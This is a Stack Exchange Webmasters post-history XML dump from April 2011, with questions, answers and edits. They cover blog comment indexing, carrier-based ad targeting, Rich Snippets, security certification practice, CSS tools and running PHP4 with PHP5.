  <row Id="27993" PostHistoryTypeId="5" PostId="12252" RevisionGUID="4df6798f-fcf7-46af-9bec-5856e33f33fb" CreationDate="2011-04-15T08:16:31.777" UserId="5727" Comment="added 41 characters in body" Text="I have a blog on this page:&#xD;&#xA;&#xD;&#xA;    domain.com/Blog/5/some-title&#xD;&#xA;&#xD;&#xA;Below the blog entry it says, &quot;click for comments&quot;.&#xD;&#xA;&#xD;&#xA;You click the link, and it goes to:&#xD;&#xA;&#xD;&#xA;    domain.com/Blog/5/some-title/Comments&#xD;&#xA;&#xD;&#xA;For user experience, the blog content is displayed, with the comments displayed below it.  It goes on multiple pages, such as:&#xD;&#xA;&#xD;&#xA;    domain.com/Blog/5/some-title/Comments/Page1&#xD;&#xA;    domain.com/Blog/5/some-title/Comments/Page2&#xD;&#xA;&#xD;&#xA;I want all the comments to be indexed by engines, but, each page displays the blog content on it!&#xD;&#xA;&#xD;&#xA;I don't want to canonical it to the blog URL, because the comments wont be indexed.  I don't want to not display the blog, because it takes peoples comments out of context and isn't so user friendly.&#xD;&#xA;&#xD;&#xA;Any way around this?  Assume there are thousands of comments." />
  <row Id="27994" PostHistoryTypeId="2" PostId="12274" RevisionGUID="7b6ce6c1-0287-49e9-b4d9-5f7f94b0bccb" CreationDate="2011-04-15T08:16:32.617" UserId="6650" Text="We'd like to target our advertising to Virgin Mobile users.&#xD;&#xA;&#xD;&#xA;However, Virgin Mobile is actually on the T-Mobile network. So when we do a lookup of the IP address it reports T-Mobile.&#xD;&#xA;&#xD;&#xA;So this gives 2 problems:&#xD;&#xA;&#xD;&#xA;1. No way to target Virgin Mobile&#xD;&#xA;2. When we target T-Mobile we accidentally target Virgin Mobile users too.&#xD;&#xA;&#xD;&#xA;We actually have 2 separate sites for T-Mobile and Virgin Mobile - So is there any way we can make sure we send people to the right site?&#xD;&#xA;&#xD;&#xA;Also would appreciate it very much if anyone has any suggestions on other places for this discussion, i'm not entirely sure this is &quot;webmaster&quot; talk?  &#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Dan" />
  <row Id="27995" PostHistoryTypeId="1" PostId="12274" RevisionGUID="7b6ce6c1-0287-49e9-b4d9-5f7f94b0bccb" CreationDate="2011-04-15T08:16:32.617" UserId="6650" Text="Targeting advertising for T-Mobile and Virgin Mobile users" />
  <row Id="27996" PostHistoryTypeId="3" PostId="12274" RevisionGUID="7b6ce6c1-0287-49e9-b4d9-5f7f94b0bccb" CreationDate="2011-04-15T08:16:32.617" UserId="6650" Text="&lt;advertising&gt;&lt;mobile&gt;&lt;ip-address&gt;" />
  <row Id="27997" PostHistoryTypeId="2" PostId="12275" RevisionGUID="49331f5c-06d1-4b0a-a1ac-73826da579d9" CreationDate="2011-04-15T08:25:03.433" UserId="480" Text="You need sufficient competition in that market on-line with some reviews of them for balance otherwise Google won't start showing it. Otherwise try your luck with their [&quot;I'm using Rich Snippets please crawl my site for them&quot; form][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/request.py?contact_type=rich_snippets_feedback" />
  <row Id="27998" PostHistoryTypeId="5" PostId="12275" RevisionGUID="dbe41f6e-c17a-4aad-ada7-3a9673de2d95" CreationDate="2011-04-15T08:33:37.307" UserId="480" Comment="improved answer, fixed grammar" Text="You need sufficient competition offering semantically extractable reviews on-line otherwise Google has nothing to compare your offerings with and won't display them. Try to get customers of your competitors to fill in local business reviews (especially if they had a bad time) this will help.&#xD;&#xA;&#xD;&#xA;Remember that this is made all the more difficult as you are offering a service instead of a product (this can be got around with offering &quot;tickets&quot; or similar for one-day, one-week, etc hire).&#xD;&#xA;&#xD;&#xA;Otherwise try your luck with their [&quot;I'm using Rich Snippets on my site&quot; form][1], although don't hold your breath, no-one I know that has used it had any joy.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/request.py?contact_type=rich_snippets_feedback" />
  <row Id="27999" PostHistoryTypeId="25" PostId="12274" RevisionGUID="007a2c1d-cad2-4a8c-bcdf-f4aff501ca70" CreationDate="2011-04-15T09:09:14.753" Comment="http://twitter.com/#!/StackWebmasters/status/58819158128869376" />
  <row Id="28000" PostHistoryTypeId="5" PostId="12275" RevisionGUID="70a8eb80-fbfa-4136-ba67-08b460e91176" CreationDate="2011-04-15T09:16:49.673" UserId="480" Comment="expanded answer; added 774 characters in body" Text="You need sufficient competition offering semantically extractable reviews on-line otherwise Google has nothing to compare your offerings with and won't display them. Try to get customers of your competitors to fill in local business reviews (especially if they had a bad time) this will help.&#xD;&#xA;&#xD;&#xA;Remember that this is made all the more difficult as you are offering a service instead of a product (this can be got around with offering &quot;tickets&quot; or similar for one-day, one-week, etc hire).&#xD;&#xA;&#xD;&#xA;Otherwise try your luck with their [&quot;I'm using Rich Snippets on my site&quot; form][1], although don't hold your breath, no-one I know that has used it had any joy.&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA;From the [Google Knol entry on Rich Snippets][2]:&#xD;&#xA;&#xD;&#xA;&gt; Currently, review sites and social&#xD;&#xA;&gt; networking/people profile sites are&#xD;&#xA;&gt; eligible. We plan to expand Rich&#xD;&#xA;&gt; Snippets to other types of content in&#xD;&#xA;&gt; the future.&#xD;&#xA;&#xD;&#xA;As per the advice on local business reviews - get your reviews on a &quot;review site&quot; for now.&#xD;&#xA;&#xD;&#xA;The [Knol article][2] also mentions:&#xD;&#xA;&#xD;&#xA;&gt; Google does not guarantee that Rich&#xD;&#xA;&gt; Snippets will show up for search&#xD;&#xA;&gt; results from a particular site even if&#xD;&#xA;&gt; structured data is marked up and can&#xD;&#xA;&gt; be extracted successfully according to&#xD;&#xA;&gt; the testing tool. Here are some&#xD;&#xA;&gt; reasons that marked-up pages might not&#xD;&#xA;&gt; be shown with Rich Snippets:&#xD;&#xA;&gt; &#xD;&#xA;&gt; * The marked-up structured data is not&#xD;&#xA;&gt; representative of the main content of&#xD;&#xA;&gt; the page.&#xD;&#xA;&gt; &#xD;&#xA;&gt; * Marked-up data is incorrect&#xD;&#xA;&gt; or misleading.&#xD;&#xA;&gt; &#xD;&#xA;&gt; * Marked up content is&#xD;&#xA;&gt; hidden from the user (see the section&#xD;&#xA;&gt; above: &quot;Hidden div's -- don't do it!&quot;)&#xD;&#xA;&gt; &#xD;&#xA;&gt; * The site has very few pages (or very&#xD;&#xA;&gt; few pages with marked-up structured&#xD;&#xA;&gt; data) and may not be picked up by&#xD;&#xA;&gt; Google's Rich Snippets system.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/request.py?contact_type=rich_snippets_feedback&#xD;&#xA;  [2]: http://knol.google.com/k/google-rich-snippets-tips-and-tricks#" />
  <row Id="28001" PostHistoryTypeId="2" PostId="12276" RevisionGUID="47d7787e-784e-4565-917e-388d11b345a0" CreationDate="2011-04-15T09:20:45.037" UserId="3797" Text="Security certifications are typically based on the results of a penetration test, which gives an indication of how difficult it is for ethical hackers to get past the security controls. Where this testing is done by experienced professionals this can be very useful.&#xD;&#xA;&#xD;&#xA;However&#xD;&#xA;&#xD;&#xA; - Any security test is a point in time: a new 0-day exploit could be released the day after the attack and if the site is vulnerable the security certification is effectively useless.&#xD;&#xA;&#xD;&#xA; - For organisations that handle credit card data, **[PCI-DSS][1]** is supposed to certify that you protect your data appropriately, however the inadequacies are demonstrated in the media by famous attacks against PCI compliant organisations (eg **[Worldpay][2]** in 2009)&#xD;&#xA;&#xD;&#xA;So if you are worried about your site, good practice for security generally includes:&#xD;&#xA;&#xD;&#xA; - Risk assessing your assets&#xD;&#xA; - Patch your platforms and your code!!!&#xD;&#xA; - **[Training your developers in secure coding][3]** - certifying them is useful (see **[this SANS initiative][4]**)&#xD;&#xA; - Understand what platforms you use, and monitor scurity advisories for those platforms&#xD;&#xA; - Regular penetration testing - annually, on every major update, on changes to your risk profile or threat landscape&#xD;&#xA; - A defence in depth approach, so if a particular layer of security fails you will spot it before you are compromised&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.pcisecuritystandards.org/security_standards/&#xD;&#xA;  [2]: http://www.databreaches.net/?p=1231&#xD;&#xA;  [3]: http://security.stackexchange.com/q/1919/485&#xD;&#xA;  [4]: http://software-security.sans.org/" />
  <row Id="28002" PostHistoryTypeId="5" PostId="12276" RevisionGUID="0e450c4f-0b47-4b90-9148-2c914a51be2d" CreationDate="2011-04-15T09:26:50.660" UserId="3797" Comment="some extras" Text="Security certifications are typically based on the results of a penetration test, which gives an indication of how difficult it is for ethical hackers to get past the security controls. Where this testing is done by experienced professionals this can be very useful.&#xD;&#xA;&#xD;&#xA;However&#xD;&#xA;&#xD;&#xA; - Any security test is a point in time: a new 0-day exploit could be released the day after the attack and if the site is vulnerable the security certification is effectively useless.&#xD;&#xA;&#xD;&#xA; - For organisations that handle credit card data, **[PCI-DSS][1]** is supposed to certify that you protect your data appropriately, however the inadequacies are demonstrated in the media by famous attacks against PCI compliant organisations (eg **[Worldpay][2]** in 2009) - despite that, there are a lot of good activities described in PCI which you should look at.&#xD;&#xA;&#xD;&#xA;So if you are worried about your site, good practice for security generally includes:&#xD;&#xA;&#xD;&#xA; - Risk assess your assets&#xD;&#xA; - Patch your platforms and your code!!!&#xD;&#xA; - **[Training your developers in secure coding][3]** - certifying them is useful (see **[this SANS initiative][4]**)&#xD;&#xA; - Look at the [**OWASP top ten**][5] for the most common attacks and what to do about them&#xD;&#xA; - Understand what platforms you use, and monitor scurity advisories for those platforms&#xD;&#xA; - Regular penetration testing - annually, on every major update, on changes to your risk profile or threat landscape&#xD;&#xA; - A defence in depth approach, so if a particular layer of security fails you will spot it before you are compromised&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.pcisecuritystandards.org/security_standards/&#xD;&#xA;  [2]: http://www.databreaches.net/?p=1231&#xD;&#xA;  [3]: http://security.stackexchange.com/q/1919/485&#xD;&#xA;  [4]: http://software-security.sans.org/&#xD;&#xA;  [5]: https://www.owasp.org/index.php/Top_10_2010-Main" />
  <row Id="28003" PostHistoryTypeId="2" PostId="12277" RevisionGUID="baa1a93a-2503-485e-9a15-ff7667de156e" CreationDate="2011-04-15T09:59:39.043" UserId="6876" Text="I want to create a site with tutorials on a specific topic.&#xD;&#xA;&#xD;&#xA;The tutorials would include code samples (so I need code highlighting), pictures, screencasts, and files to download.&#xD;&#xA;&#xD;&#xA;I would like to edit the pages easily, like on wikis, but also allow for comments like on blogs.&#xD;&#xA;&#xD;&#xA;I don't want wiki-like community editing, and I want to update a given tutorial page continuously, like on wiki, but not like in the blog.&#xD;&#xA;&#xD;&#xA;So which framework I should use?  " />
  <row Id="28004" PostHistoryTypeId="1" PostId="12277" RevisionGUID="baa1a93a-2503-485e-9a15-ff7667de156e" CreationDate="2011-04-15T09:59:39.043" UserId="6876" Text="how to publish online tutorials" />
  <row Id="28005" PostHistoryTypeId="3" PostId="12277" RevisionGUID="baa1a93a-2503-485e-9a15-ff7667de156e" CreationDate="2011-04-15T09:59:39.043" UserId="6876" Text="&lt;website&gt;&lt;blog&gt;&lt;wiki&gt;" />
  <row Id="28006" PostHistoryTypeId="2" PostId="12278" RevisionGUID="2214cb2d-0efd-4d6d-891f-69d41a627644" CreationDate="2011-04-15T10:32:41.383" UserId="6732" Text="The googlepages URL redirections are now working again. I don't know if this post had anything to do with it or not, but regardless - thanks for fixing this, Google." />
  <row Id="28007" PostHistoryTypeId="2" PostId="12279" RevisionGUID="ce3a1fad-6285-4242-aa07-3b0245f97bdf" CreationDate="2011-04-15T10:34:59.743" UserId="6878" Text="Unless T-Mobile change their web gateway infrastructure, unfortunately you won't have any other option than to treat customers of any T-Mobile reseller as a T-Mobile customer" />
  <row Id="28008" PostHistoryTypeId="5" PostId="12275" RevisionGUID="743f82ac-308b-4e3d-8bfa-f7fc3187d9d5" CreationDate="2011-04-15T10:37:32.643" UserId="480" Comment="added 223 characters in body" Text="You need sufficient competition offering semantically extractable reviews on-line otherwise Google has nothing to compare your offerings with and won't display them. Try to get customers of your competitors to fill in local business reviews (especially if they had a bad time) this will help.&#xD;&#xA;&#xD;&#xA;Remember that this is made all the more difficult as you are offering a service instead of a product (this can be got around with offering &quot;tickets&quot; or similar for one-day, one-week, etc hire).&#xD;&#xA;&#xD;&#xA;Otherwise try your luck with their [&quot;I'm using Rich Snippets on my site&quot; form][1], although don't hold your breath, no-one I know that has used it had any joy.&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA;From the [Google Knol entry on Rich Snippets][2]:&#xD;&#xA;&#xD;&#xA;&gt; Currently, review sites and social&#xD;&#xA;&gt; networking/people profile sites are&#xD;&#xA;&gt; eligible. We plan to expand Rich&#xD;&#xA;&gt; Snippets to other types of content in&#xD;&#xA;&gt; the future.&#xD;&#xA;&#xD;&#xA;As per the advice on local business reviews (above) - get your reviews on a &quot;review site&quot; for now and watch out for those [being penalised by Google's Panda][3] algorithm updates.&#xD;&#xA;&#xD;&#xA;The [Knol article][4] also mentions:&#xD;&#xA;&#xD;&#xA;&gt; Google does not guarantee that Rich&#xD;&#xA;&gt; Snippets will show up for search&#xD;&#xA;&gt; results from a particular site even if&#xD;&#xA;&gt; structured data is marked up and can&#xD;&#xA;&gt; be extracted successfully according to&#xD;&#xA;&gt; the testing tool. Here are some&#xD;&#xA;&gt; reasons that marked-up pages might not&#xD;&#xA;&gt; be shown with Rich Snippets:&#xD;&#xA;&gt; &#xD;&#xA;&gt; * The marked-up structured data is not&#xD;&#xA;&gt; representative of the main content of&#xD;&#xA;&gt; the page.&#xD;&#xA;&gt; &#xD;&#xA;&gt; * Marked-up data is incorrect&#xD;&#xA;&gt; or misleading.&#xD;&#xA;&gt; &#xD;&#xA;&gt; * Marked up content is&#xD;&#xA;&gt; hidden from the user (see the section&#xD;&#xA;&gt; above: &quot;Hidden div's -- don't do it!&quot;)&#xD;&#xA;&gt; &#xD;&#xA;&gt; * The site has very few pages (or very&#xD;&#xA;&gt; few pages with marked-up structured&#xD;&#xA;&gt; data) and may not be picked up by&#xD;&#xA;&gt; Google's Rich Snippets system.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/request.py?contact_type=rich_snippets_feedback&#xD;&#xA;  [2]: http://knol.google.com/k/google-rich-snippets-tips-and-tricks#&#xD;&#xA;  [3]: http://rview.reviewcentre.com/the-panda-in-the-room/&#xD;&#xA;  [4]: http://knol.google.com/k/google-rich-snippets-tips-and-tricks#" />
  <row Id="28009" PostHistoryTypeId="2" PostId="12280" RevisionGUID="b6ae6a6d-c40e-402d-a37f-5b573711738a" CreationDate="2011-04-15T10:55:10.517" UserId="6756" Text="I am searching for over an hour for a Connect with Facebook button that is similar to the one Gowalla is using ([link][1])&#xD;&#xA;&#xD;&#xA;Any help would be appreciated!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://gowalla.com/users/new" />
  <row Id="28010" PostHistoryTypeId="1" PostId="12280" RevisionGUID="b6ae6a6d-c40e-402d-a37f-5b573711738a" CreationDate="2011-04-15T10:55:10.517" UserId="6756" Text="Connect with Facebook button, Gowalla's style" />
  <row Id="28011" PostHistoryTypeId="3" PostId="12280" RevisionGUID="b6ae6a6d-c40e-402d-a37f-5b573711738a" CreationDate="2011-04-15T10:55:10.517" UserId="6756" Text="&lt;facebook&gt;&lt;button&gt;" />
  <row Id="28012" PostHistoryTypeId="2" PostId="12281" RevisionGUID="37d6630c-817d-4a0c-a8bc-7d9f50cd62f2" CreationDate="2011-04-15T11:32:54.400" UserId="1643" Text="If you're using the Javascript SDK this question should help&#xD;&#xA;http://stackoverflow.com/questions/3792231/fblogin-button-custom&#xD;&#xA;&#xD;&#xA;This code generates a similar one to Gowalla.&#xD;&#xA;&#xD;&#xA;    &lt;fb:login-button size=&quot;xlarge&quot;&#xD;&#xA;                     onlogin=&quot;Log.info('onlogin callback')&quot;&gt;&#xD;&#xA;      Connect with Facebook&#xD;&#xA;    &lt;/fb:login-button&gt;&#xD;&#xA;&#xD;&#xA;This page lets you try out various things: http://fbrell.com/xfbml/fb:login-button" />
  <row Id="28013" PostHistoryTypeId="2" PostId="12282" RevisionGUID="d2c54902-6b20-4c13-9fb8-f86ffc9effeb" CreationDate="2011-04-15T11:44:45.993" UserId="6231" Text="What CSS tools do you use under Linux OS to do effectively CSS coding?&#xD;&#xA;&#xD;&#xA;thank you" />
  <row Id="28014" PostHistoryTypeId="1" PostId="12282" RevisionGUID="d2c54902-6b20-4c13-9fb8-f86ffc9effeb" CreationDate="2011-04-15T11:44:45.993" UserId="6231" Text="CCS tools for linux developer" />
  <row Id="28015" PostHistoryTypeId="3" PostId="12282" RevisionGUID="d2c54902-6b20-4c13-9fb8-f86ffc9effeb" CreationDate="2011-04-15T11:44:45.993" UserId="6231" Text="&lt;css&gt;&lt;linux&gt;&lt;tools&gt;" />
  <row Id="28016" PostHistoryTypeId="16" PostId="12282" RevisionGUID="053965fb-ac77-45b6-862c-01edd5c6538d" CreationDate="2011-04-15T11:46:13.173" UserId="1253" />
  <row Id="28017" PostHistoryTypeId="25" PostId="12282" RevisionGUID="84829d38-6454-464a-b78b-b7d317253311" CreationDate="2011-04-15T12:09:14.497" Comment="http://twitter.com/#!/StackWebmasters/status/58864455982923776" />
  <row Id="28018" PostHistoryTypeId="6" PostId="7815" RevisionGUID="91244a94-17e9-4f6e-8bc2-cc9df4862b75" CreationDate="2011-04-15T12:52:00.867" UserId="1253" Comment="removed &quot;seo &quot; tag, added &quot;looking-for-a-host&quot; tag" Text="&lt;web-hosting&gt;&lt;looking-for-hosting&gt;" />
  <row Id="28019" PostHistoryTypeId="2" PostId="12283" RevisionGUID="064f0bad-fb33-4d96-a95e-adb114e54a4c" CreationDate="2011-04-15T12:58:21.753" UserId="6231" Text="Could you please advise me the tools that can draw images like&#xD;&#xA;[this](http://matthewjamestaylor.com/blog/perfect-3-column-dimensions.gif) or [this](http://matthewjamestaylor.com/blog/perfect-3-column-div-structure.gif) serving as a design for CSS layout?&#xD;&#xA;&#xD;&#xA;thank you" />
  <row Id="28020" PostHistoryTypeId="1" PostId="12283" RevisionGUID="064f0bad-fb33-4d96-a95e-adb114e54a4c" CreationDate="2011-04-15T12:58:21.753" UserId="6231" Text="Tools for designing CSS layouts" />
  <row Id="28021" PostHistoryTypeId="3" PostId="12283" RevisionGUID="064f0bad-fb33-4d96-a95e-adb114e54a4c" CreationDate="2011-04-15T12:58:21.753" UserId="6231" Text="&lt;css&gt;&lt;website-design&gt;&lt;tools&gt;" />
  <row Id="28022" PostHistoryTypeId="2" PostId="12284" RevisionGUID="fea20c84-17c8-44d4-bef5-0df9a1616fb8" CreationDate="2011-04-15T12:59:39.333" UserId="6881" Text="	&#xD;&#xA;i found that prestashop already give feature without any plugin. and have a perfect way to implement those requiremen" />
  <row Id="28023" PostHistoryTypeId="2" PostId="12285" RevisionGUID="32689658-ad4b-451d-9e15-a79dcc86a2ba" CreationDate="2011-04-15T13:30:08.160" UserId="6882" Text="I have tried to optimize our site for internet explorer. I have problems with one name `Etika`, on the first page of our website.&#xD;&#xA;&#xD;&#xA;It would be nice, if some of you could point out, why IE behaves so strange. Here is what it looks like in IE  - ![screenshot](http://menu.fo/images/fail.png)&#xD;&#xA;&#xD;&#xA;You can see the live website on [menu.fo](http://menu.fo).&#xD;&#xA;&#xD;&#xA;`Etika` should be the first one on the site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks in advance" />
  <row Id="28024" PostHistoryTypeId="1" PostId="12285" RevisionGUID="32689658-ad4b-451d-9e15-a79dcc86a2ba" CreationDate="2011-04-15T13:30:08.160" UserId="6882" Text="Positioning in IE7" />
  <row Id="28025" PostHistoryTypeId="3" PostId="12285" RevisionGUID="32689658-ad4b-451d-9e15-a79dcc86a2ba" CreationDate="2011-04-15T13:30:08.160" UserId="6882" Text="&lt;css&gt;&lt;internet-explorer&gt;" />
  <row Id="28026" PostHistoryTypeId="2" PostId="12286" RevisionGUID="ab37230d-6f94-4ba5-bb68-057668a17d04" CreationDate="2011-04-13T16:44:25.130" UserDisplayName="XHR" Text="I’m trying to get PHP4 running under CGI alongside PHP5 as a module in Apache.  Long story short, I have some legacy applications that aren’t running under PHP5 and they would take a while to rewrite, so short term I should hopefully be able to run both PHP versions for now.&#xD;&#xA;&#xD;&#xA;Most of the sites I’ve come across state that running one version as CGI and another as an Apache module is the best way to go about this.  I’m pretty sure I have my httpd.conf setup properly as I’m no longer receiving “file not found” errors in my logs.  Posting changes below for reference:&#xD;&#xA;&#xD;&#xA;    AddHandler php4-script .php4&#xD;&#xA;    Action php4-script &quot;/cgi-bin/php4&quot;&#xD;&#xA;    …&#xD;&#xA;    ScriptAlias /cgi-bin/ &quot;/opt/lampp/cgi-bin/&quot;&#xD;&#xA;&#xD;&#xA;My current error is “Premature end of script headers: php4”.  I’ve tried some diagnosis that I found [here][1].  If I run  `cgi-bin/php4 htdocs/test.php4` from the command prompt (where test.php4 is a simple `echo phpinfo()`), I get all the phpinfo data on screen, but no HTML formatting.  I tried setting the PATH_TRANSLATE variable as the above link mentions and running cgi-bin/php4 but I never got any output doing that, possible issue could be this.  Also I’ve checked and rechecked all my file permissions and everything looks good there.&#xD;&#xA;&#xD;&#xA;Any other thoughts as to what I could be missing?  Other option is to run another Apache instance on a different port, tried this at first but it started to get a bit messy, though I may have to revert to this.  Thanks in advance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://archive.atomicmpc.com.au/forums.asp?s=2&amp;c=16&amp;t=4263" />
  <row Id="28027" PostHistoryTypeId="1" PostId="12286" RevisionGUID="ab37230d-6f94-4ba5-bb68-057668a17d04" CreationDate="2011-04-13T16:44:25.130" UserDisplayName="XHR" Text="Issues trying to run PHP4 alongside PHP5" />
  <row Id="28028" PostHistoryTypeId="3" PostId="12286" RevisionGUID="ab37230d-6f94-4ba5-bb68-057668a17d04" CreationDate="2011-04-13T16:44:25.130" UserDisplayName="XHR" Text="&lt;php&gt;&lt;apache&gt;" />
  <row Id="28029" PostHistoryTypeId="17" PostId="12286" RevisionGUID="1ad8868c-9750-4a07-a602-c41f659f7a7f" CreationDate="2011-04-15T13:41:02.833" UserId="-1" Comment="from http://stackoverflow.com/questions/5652691/issues-trying-to-run-php4-alongside-php5" Text="" />
  <row Id="28030" PostHistoryTypeId="5" PostId="12282" RevisionGUID="ce03604a-fa77-48ce-b5a7-6b7d124acd4f" CreationDate="2011-04-15T13:45:37.983" UserId="1064" Comment="Minor mechanics of language changes, corrected title" Text="What are some CSS editors and development tools available for the Linux operating system?" />
  <row Id="28031" PostHistoryTypeId="4" PostId="12282" RevisionGUID="ce03604a-fa77-48ce-b5a7-6b7d124acd4f" CreationDate="2011-04-15T13:45:37.983" UserId="1064" Comment="Minor mechanics of language changes, corrected title" Text="CSS development tools for Linux" />
  <row Id="28032" PostHistoryTypeId="2" PostId="12287" RevisionGUID="b2c5432b-00b1-4e41-9cd5-f9ef33c17d5b" CreationDate="2011-04-15T13:51:04.817" UserId="6236" Text="I generally do wireframes in photoshop, but you might like to take a look at http://balsamiq.com/ which is a mockup / wireframing tool with a &quot;sketch&quot; style.  It's more focussed at UI mockups than specifically CSS I think." />
  <row Id="28033" PostHistoryTypeId="2" PostId="12288" RevisionGUID="3e413a5c-cf63-4fa3-9803-6f53e6dba28d" CreationDate="2011-04-15T13:53:31.617" UserId="1064" Text="Search engine spiders typically do not deal in cookies or Javascript.&#xD;&#xA;&#xD;&#xA;If you are generating the comments page with a script on every request (not likely if you're getting thousands of comments) you can display the blog entry content when the visitor has a cookie of some variety set.&#xD;&#xA;&#xD;&#xA;If you are serving up a static HTML page from a cache, add a Javascript call which loads the blog entry content with an AJAX request." />
  <row Id="28034" PostHistoryTypeId="2" PostId="12289" RevisionGUID="53caf574-e097-4d90-9628-68101de493eb" CreationDate="2011-04-15T14:03:28.877" UserId="6884" Text="How to integrete phpbb3 but not the database, but to integrate it like a in the site template ? " />
  <row Id="28035" PostHistoryTypeId="1" PostId="12289" RevisionGUID="53caf574-e097-4d90-9628-68101de493eb" CreationDate="2011-04-15T14:03:28.877" UserId="6884" Text="phpbb 3 full site integration" />
  <row Id="28036" PostHistoryTypeId="3" PostId="12289" RevisionGUID="53caf574-e097-4d90-9628-68101de493eb" CreationDate="2011-04-15T14:03:28.877" UserId="6884" Text="&lt;integration&gt;&lt;phpbb&gt;" />
  <row Id="28037" PostHistoryTypeId="5" PostId="12277" RevisionGUID="aadc45f4-4320-4370-bbc1-d4b0a4664350" CreationDate="2011-04-15T14:05:06.073" UserId="1253" Comment="Removed &quot;website blog wiki&quot; tags, added &quot;cms looking-for-a-script&quot; tags, updated title and question" Text="I want to create a site with tutorials on a specific topic.&#xD;&#xA;&#xD;&#xA;The tutorials would include code samples (so I need code highlighting), pictures, screencasts, and files to download.&#xD;&#xA;&#xD;&#xA;I would like to edit the pages easily, like on wikis, but also allow for comments like on blogs.&#xD;&#xA;&#xD;&#xA;I don't want wiki-like community editing, and I want to update a given tutorial page continuously, like on wiki, but not like in the blog.&#xD;&#xA;&#xD;&#xA;So which CMS should use?  " />
  <row Id="28038" PostHistoryTypeId="4" PostId="12277" RevisionGUID="aadc45f4-4320-4370-bbc1-d4b0a4664350" CreationDate="2011-04-15T14:05:06.073" UserId="1253" Comment="Removed &quot;website blog wiki&quot; tags, added &quot;cms looking-for-a-script&quot; tags, updated title and question" Text="Looking for a CMS to publish online tutorials" />
  <row Id="28039" PostHistoryTypeId="6" PostId="12277" RevisionGUID="aadc45f4-4320-4370-bbc1-d4b0a4664350" CreationDate="2011-04-15T14:05:06.073" UserId="1253" Comment="Removed &quot;website blog wiki&quot; tags, added &quot;cms looking-for-a-script&quot; tags, updated title and question" Text="&lt;cms&gt;&lt;looking-for-a-script&gt;" />
  <row Id="28040" PostHistoryTypeId="2" PostId="12290" RevisionGUID="a5a56dea-6026-465d-b898-873aecd7e2d7" CreationDate="2011-04-15T14:06:30.267" UserId="1253" Text="View the source of the page and copy the HTML. Make sure to use the phpBB3 stylesheet. " />
  <row Id="28042" PostHistoryTypeId="2" PostId="12291" RevisionGUID="bcc563ba-fbba-40e6-ad41-fb2c1e2f2de3" CreationDate="2011-04-15T14:54:13.730" UserId="4064" Text="It's not too clear what you are asking for, if you need a tool that generates CSS and layout for you then you probably could use [960 Grid System][1], if you need a tool for creating mockups then you could use [Pencil][2] or the tool xralf has recommended you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://960.gs/&#xD;&#xA;  [2]: http://pencil.evolus.vn/en-US/Home.aspx" />
  <row Id="28043" PostHistoryTypeId="2" PostId="12292" RevisionGUID="47affc7c-3268-4d75-a4f5-7cb868e0b68c" CreationDate="2011-04-15T14:55:41.673" UserId="3379" Text="see: http://www.deanspot.org/~alex/php5fcgi/index.html (Click on the symbol that looks like Theta, located in the right-bottom corner when you mouse over that area)" />
  <row Id="28044" PostHistoryTypeId="2" PostId="12293" RevisionGUID="43a7b8b8-b5b9-43d3-a322-feb1bec344cc" CreationDate="2011-04-15T15:06:26.087" UserId="4064" Text="You could use Firefox (Iceweasel if you use Debian Linux) with [Web Developer][1] Toolbar, it has a CSS editor and you can apply and see your changes in real time inside the browser.&#xD;&#xA;It is under CSS -&gt; Edit CSS, the browser will open a panel containing all your page loaded CSS files, edit your css rules see your changes, you can save to a file or better select all your css file (the one you'd edited), copy and paste into your original CSS file. &#xD;&#xA;&#xD;&#xA;There is a very handy web development tool, it's an IDE, [Quanta Plus][2], it's for linux, you can open your files there for easy copy-paste from Firefox.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://addons.mozilla.org/en-US/firefox/addon/web-developer/&#xD;&#xA;  [2]: http://kde-apps.org/content/show.php/Quanta+Plus?content=10135" />
  <row Id="28045" PostHistoryTypeId="25" PostId="12289" RevisionGUID="b5fa5606-7324-4cbe-a71b-c725b339b35b" CreationDate="2011-04-15T15:09:14.647" Comment="http://twitter.com/#!/StackWebmasters/status/58909755565023232" />
  <row Id="28046" PostHistoryTypeId="5" PostId="12293" RevisionGUID="51571937-8e92-4bde-9d86-af3baa6d4193" CreationDate="2011-04-15T15:13:38.883" UserId="4064" Comment="Improved explanation" Text="You could use Firefox (Iceweasel if you use Debian Linux) with [Web Developer][1] Toolbar, it has a CSS editor and you can apply and see your changes in real time inside the browser.&#xD;&#xA;It is under CSS -&gt; Edit CSS, the browser will open a panel containing all loaded CSS files for the page you are browsing, edit your css rules see your changes, you can save it to a file or better select all your css file (the one you'd edited), copy and paste into your original CSS file.&#xD;&#xA;Be careful after editing your CSS, if you have multiple tabs and you change your tab all your rules will be gone, because it will load the CSS files related to the new tab. To prevent this massive loss, you must tell CSS Editor to &quot;stick&quot; with the files you'd edited, you can do that clicking on the pin icon, it's the one before the textbox for search.&#xD;&#xA;&#xD;&#xA;There is a very handy web development tool, it's an IDE, [Quanta Plus][2], it's for linux, you can open your files there for easy copy-paste from Firefox.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://addons.mozilla.org/en-US/firefox/addon/web-developer/&#xD;&#xA;  [2]: http://kde-apps.org/content/show.php/Quanta+Plus?content=10135" />
